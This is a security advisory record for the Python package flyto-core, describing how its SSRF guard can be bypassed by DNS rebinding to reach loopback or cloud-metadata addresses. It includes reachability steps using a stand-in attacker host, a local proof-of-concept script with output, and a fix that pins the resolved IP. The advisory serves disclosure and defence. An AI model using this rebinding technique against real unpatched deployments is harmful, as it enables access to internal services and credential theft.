{"id":"GHSA-6pm8-6f34-9v3g","summary":"Flyto2 Core: SSRF guard bypass via DNS rebinding (validate_url_ssrf resolves-then-connects without pinning)","details":"# [MEDIUM] SSRF guard bypass via DNS rebinding — validate_url_ssrf resolves-then-connects without pinning\n\n- **CWE:** CWE-918 (SSRF) / CWE-367 (TOCTOU).\n- **CVSS v3.1:** `AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N` = **6.8 Medium** (AC:H — needs attacker-controlled DNS with a low/zero TTL and to flip the answer between the guard's lookup and the connection's lookup; S:C — reaches internal/metadata services the guard is meant to block; C:H — e.g. cloud metadata credentials at 169.254.169.254).\n- **Affected component:** `flyto-core` (PyPI `flyto-core`), HEAD `ae2b38e` (v2.26.7). `src/core/utils.py::validate_url_ssrf` (resolution at `getaddrinfo` ~L512, `is_private_ip` check ~L515) and every consumer: `guarded_aiohttp_request()`, `enforce_outbound_url()`/`validate_url_with_env_config()` — i.e. `http.get/request/batch`, `graphql.query/mutation`, `monitor.http_check`, `notification.{slack,discord,teams}`, `ai.vision_analyze`, `verify.visual_diff`, `browser.proxy_rotate`, etc.\n- **Relationship:** Incomplete hardening of the SSRF-guard family (**GHSA-pgwh-4jj4-qm8v**, **GHSA-c9hr-64h3-gxpc**, **GHSA-794r-5rp2-fpg8**/CVE-2026-55787). Those fixes added per-module coverage, redirect revalidation, and IPv6-transition range-checks — but none pins the resolved address, so the guard's resolve-then-connect gap defeats all of them.\n\n## Root cause\n`validate_url_ssrf()` resolves the hostname with `socket.getaddrinfo()` and rejects the URL if any resolved IP is private. It then returns the **URL string** (hostname intact). The caller (`guarded_aiohttp_request`: `validate_url_with_env_config(url)` then `session.request(method, url, ...)`) hands the hostname to aiohttp, which performs an **independent second DNS resolution** at connect time. The validated IP is never pinned for the connection, so an attacker whose authoritative DNS returns a public A record for the guard's lookup and a private/loopback/metadata address for the connection's lookup reaches internal space. aiohttp resolves via its own resolver, distinct from the guard's `socket.getaddrinfo`, so the two lookups are genuinely separate — one flip is sufficient.\n\n## Reachability\n1. Attacker controls DNS for `rebind.attacker.test` (TTL 0), and drives any guarded HTTP module with `url=http://rebind.attacker.test/` (recipe / MCP `execute_module`).\n2. Guard: `getaddrinfo` → public IP → `is_private_ip` false → **URL allowed**.\n3. Outbound request: aiohttp re-resolves `rebind.attacker.test` → attacker now answers `127.0.0.1` / `169.254.169.254` → connects to the internal target. Redirect revalidation (GHSA-c9hr) does not help — the initial hop already rebinds.\n\n## Executable PoC (benign, local; deterministic)\nThe attacker's TTL=0 flip is modelled by making `socket.getaddrinfo` return public on lookup #1 (the guard's) and loopback on later lookups (the connection's); a raw local TCP sentinel stands in for the internal service. No payload is sent.\n\n```python\n# (full source: findings/flyto-core/raw/poc_dns_rebinding.py)\n# guard sees resolution #1 (public) -\u003e ALLOWS;  connect re-resolves (127.0.0.1) -\u003e hits sentinel\nvalidate_url_ssrf(\"http://rebind.attacker.test:8080/\")     # ALLOWED\nsocket.create_connection((\"rebind.attacker.test\", 8080))   # lands on 127.0.0.1 sentinel\n```\n\nObserved output:\n```\n[guard] validate_url_ssrf ALLOWED http://rebind.attacker.test:8080/  (saw public 93.184.216.34 on resolution #1)\n[connect] outbound request re-resolved rebind.attacker.test -\u003e 127.0.0.1 and reached the INTERNAL sentinel: True\nBUG CONFIRMED: guard passed but connection reached the private/internal IP (DNS rebinding, no IP pin)\n```\n\n## Adversarial re-read\n- **Is the getaddrinfo monkeypatch cheating?** No — it deterministically models an attacker's TTL=0 authoritative DNS returning different answers to two separate lookups. The code gap is real and unavoidable: `validate_url_with_env_config(url)` resolves once, then `session.request(url)` resolves again with no pin.\n- **Does aiohttp's DNS cache prevent it?** No — the guard's `socket.getaddrinfo` and aiohttp's resolver are independent; aiohttp caches its OWN (malicious) lookup, not the guard's.\n- **Does redirect revalidation (GHSA-c9hr) block it?** No — the first hop rebinds before any redirect.\n- **Multiple A records?** The guard loops all `getaddrinfo` results and rejects if any is private, so static multi-record does not bypass; only a time-of-use flip does.\n- Result: no concrete blocker. CONFIRMED (Medium; AC:H because it needs attacker DNS + a flip).\n\n## Remediation\nPin the validated address: resolve once, validate every returned IP, then **connect to the pinned IP** (not the hostname) — e.g. pass the resolved address to aiohttp via a custom `resolver`/`TCPConnector` (or set the `Host` header and connect by IP), so the guard's decision and the socket target are the same address. Apply for every hop in `guarded_aiohttp_request`. Alternatively, use a resolver wrapper that validates inside the connect path.\n\n## Confidence\nHigh that the resolve-then-connect gap exists and the guard is bypassable by rebinding (PoC fires against the real guard). Severity Medium due to the AC:H rebinding precondition.\n\n\n## Proof-of-Concept source (`poc_dns_rebinding.py`)\n\n```python\n\"\"\"PoC: DNS-rebinding SSRF bypass of validate_url_ssrf (resolve-then-connect, no IP pin).\nFaithful & benign: a raw local TCP sentinel stands in for an internal service; socket.getaddrinfo\nflips public-\u003eprivate across successive lookups exactly as an attacker TTL=0 DNS does.\nThe guard validates the FIRST resolution (public -\u003e passes) while the CONNECT re-resolves to the\nsentinel (private) -\u003e internal reach that the guard was supposed to block.\"\"\"\nimport os, sys, socket, threading, time\nsys.path.insert(0, os.path.join(os.getcwd(), \"src\"))\nfrom core.utils import validate_url_ssrf, SSRFError\n\n# 1) internal \"service\" sentinel: raw TCP listener on loopback\nsrv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsrv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\nimport errno\nfor _p in (8080, 8443):\n    try:\n        srv.bind((\"127.0.0.1\", _p)); break\n    except OSError:\n        continue\nelse:\n    raise SystemExit(\"no allowed port free\")\nsrv.listen(1)\nPORT = srv.getsockname()[1]\nhit = {\"internal\": False}\ndef accept_once():\n    try:\n        c,_ = srv.accept(); hit[\"internal\"] = True; c.close()\n    except OSError:\n        pass\nthreading.Thread(target=accept_once, daemon=True).start()\n\nHOST = \"rebind.attacker.test\"\nPUBLIC = \"93.184.216.34\"   # example.com, public -\u003e guard must ALLOW\n\n# 2) attacker DNS: 1st lookup (the guard's) =\u003e public; later lookups (the connect's) =\u003e 127.0.0.1\n_real = socket.getaddrinfo\ncalls = {\"n\": 0}\ndef flipping_getaddrinfo(host, port, *a, **k):\n    if host == HOST:\n        calls[\"n\"] += 1\n        ip = PUBLIC if calls[\"n\"] == 1 else \"127.0.0.1\"\n        return [(socket.AF_INET, socket.SOCK_STREAM, 6, \"\", (ip, port or 0))]\n    return _real(host, port, *a, **k)\nsocket.getaddrinfo = flipping_getaddrinfo\n\n# 3) GUARD runs (resolves #1 = public) -\u003e should PASS\ntry:\n    validate_url_ssrf(f\"http://{HOST}:{PORT}/\")\n    print(f\"[guard] validate_url_ssrf ALLOWED http://{HOST}:{PORT}/  (saw public {PUBLIC} on resolution #1)\")\nexcept SSRFError as e:\n    print(\"[guard] blocked (rebinding not effective):\", e); sys.exit(0)\n\n# 4) the actual outbound CONNECT re-resolves (#2 = 127.0.0.1) -\u003e lands on the internal sentinel\ntry:\n    s = socket.create_connection((HOST, PORT), timeout=3); s.close()\nexcept OSError as e:\n    print(\"[connect] error:\", e)\ntime.sleep(0.2)\nsocket.getaddrinfo = _real\nprint(f\"[connect] outbound request re-resolved {HOST} -\u003e 127.0.0.1 and reached the INTERNAL sentinel: {hit['internal']}\")\nprint(\"BUG CONFIRMED: guard passed but connection reached the private/internal IP (DNS rebinding, no IP pin)\"\n      if hit[\"internal\"] else \"NOT CONFIRMED\")\nsrv.close()\n\n```","aliases":["CVE-2026-77316"],"modified":"2026-11-20T00:15:05.459159399Z","published":"2026-11-20T00:11:24Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-11-20T00:11:24Z","nvd_published_at":null,"cwe_ids":["CWE-918"],"severity":"HIGH"},"references":[{"type":"WEB","url":"https://github.com/flytohub/flyto-core/security/advisories/GHSA-6pm8-6f34-9v3g"},{"type":"WEB","url":"https://github.com/flytohub/flyto-core/commit/bf748df864d348004cf45d830bc59f62c5c4a58a"},{"type":"PACKAGE","url":"https://github.com/flytohub/flyto-core"},{"type":"WEB","url":"https://github.com/flytohub/flyto-core/releases/tag/v2.26.8"}],"affected":[{"package":{"name":"flyto-core","ecosystem":"PyPI","purl":"pkg:pypi/flyto-core"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.26.8"}]}],"versions":["1.0.0","1.0.1","1.0.2","1.0.3","1.0.4","1.0.5","1.0.6","1.0.7","1.0.8","1.0.9","1.1.0","1.1.1","1.11.0","1.12.0","1.13.0","1.14.0","1.14.1","1.14.2","1.15.0","1.16.0","1.16.1","1.16.10","1.16.2","1.16.3","1.16.4","1.16.5","1.16.6","1.16.7","1.16.8","1.16.9","1.2.0","1.3.0","1.4.0","1.5.0","1.5.1","1.5.2","1.5.4","1.6.0","1.6.1","1.6.2","1.6.3","1.6.4","1.6.5","1.7.0","1.7.1","1.7.2","1.7.3","1.7.4","1.7.5","1.7.6","1.7.7","1.7.8","1.7.9","1.8.0","1.8.1","1.8.10","1.8.11","1.8.12","1.8.13","1.8.14","1.8.15","1.8.16","1.8.17","1.8.2","1.8.3","1.8.4","1.8.5","1.8.6","1.8.7","1.8.8","1.8.9","1.9.0","2.0.0","2.0.1","2.0.2","2.0.3","2.0.4","2.0.5","2.1.0","2.1.1","2.1.2","2.1.3","2.1.4","2.10.0","2.11.0","2.12.0","2.12.1","2.12.13","2.12.15","2.12.16","2.12.17","2.12.18","2.12.19","2.12.2","2.12.20","2.12.21","2.12.22","2.12.23","2.12.24","2.12.25","2.12.26","2.12.27","2.12.28","2.12.3","2.12.4","2.12.5","2.12.6","2.13.0","2.13.1","2.13.2","2.13.3","2.13.4","2.14.0","2.15.0","2.15.1","2.15.2","2.15.3","2.16.1","2.16.3","2.16.4","2.17.0","2.17.1","2.17.2","2.17.3","2.17.4","2.17.5","2.17.6","2.17.7","2.17.8","2.18.0","2.18.1","2.18.10","2.18.11","2.18.2","2.18.3","2.18.4","2.18.5","2.18.6","2.18.8","2.18.9","2.19.0","2.2.0","2.2.1","2.2.2","2.20.0","2.20.1","2.20.2","2.20.3","2.20.4","2.23.0","2.23.1","2.23.2","2.23.3","2.24.0","2.24.1","2.24.2","2.24.3","2.24.4","2.25.0","2.25.1","2.25.10","2.25.11","2.25.12","2.25.13","2.25.14","2.25.15","2.25.16","2.25.17","2.25.18","2.25.19","2.25.2","2.25.20","2.25.21","2.25.22","2.25.23","2.25.24","2.25.25","2.25.26","2.25.27","2.25.3","2.25.4","2.25.5","2.25.6","2.25.7","2.25.8","2.25.9","2.26.0","2.26.1","2.26.2","2.26.3","2.26.4","2.26.5","2.26.7","2.3.0","2.3.1","2.4.0","2.4.1","2.4.2","2.4.3","2.4.4","2.4.5","2.4.6","2.4.7","2.5.0","2.5.1","2.5.2","2.6.0","2.6.1","2.7.0","2.7.1","2.7.2","2.7.3","2.7.4","2.7.5","2.7.6","2.8.0","2.9.0"],"database_specific":{"last_known_affected_version_range":"\u003c= 2.26.7","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-6pm8-6f34-9v3g/GHSA-6pm8-6f34-9v3g.json"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N"}]}